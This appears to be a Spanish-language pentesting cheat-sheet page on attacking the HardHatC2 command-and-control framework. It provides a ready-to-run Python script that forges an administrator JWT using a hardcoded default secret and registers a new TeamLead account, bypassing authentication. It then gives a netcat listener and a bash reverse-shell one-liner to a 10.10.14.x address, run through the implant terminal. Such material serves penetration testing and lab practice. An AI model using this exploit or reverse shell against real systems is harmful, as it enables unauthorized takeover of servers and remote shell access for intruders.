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# HardHatC2 - 7096
Bypass de autenticación de HardHatC2, generación de JWT falsificado, creación de usuario TeamLead y ejecución de shell inversa del implante.
{% hint style="info" %}
HardHatC2 es un framework de comando y control (C2) multiusuario basado en C# y .NET, diseñado para ejercicios de red team y pruebas de penetración. Incluye un Team Server de ASP.NET, un cliente Blazor .NET y implantes C# integrados, con soporte para implantes de terceros en otros lenguajes.
{% endhint %}
## **Bypass de autenticación de HardHat C2**
{% embed url="" %}
Usa el siguiente script para omitir la autenticación y crear un nuevo usuario:
```python
import jwt
import datetime
import uuid
import requests
rhost = '127.0.0.1:5000'
# Crear JWT de administrador
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("JWT generado:")
print(token)
# Usa el JWT de administrador para crear un nuevo usuario 'sth_pentest' como TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "jordan12345",
"role": "TeamLead",
"username": "jordan"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
```
El script genera el `jordan` usuario con el `TeamLead` rol.
## RCE de HardHat C2
En el `ImplantInteract` sección, hay acceso al terminal. Al ejecutar `whoami` muestra que el usuario actual es `sergej`.
Establece una shell inversa como `sergej` mientras escuchas en el puerto 443:
```bash
nc -nlvp 443
```
Ejecuta el siguiente comando para iniciar la conexión inversa:
```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```
---
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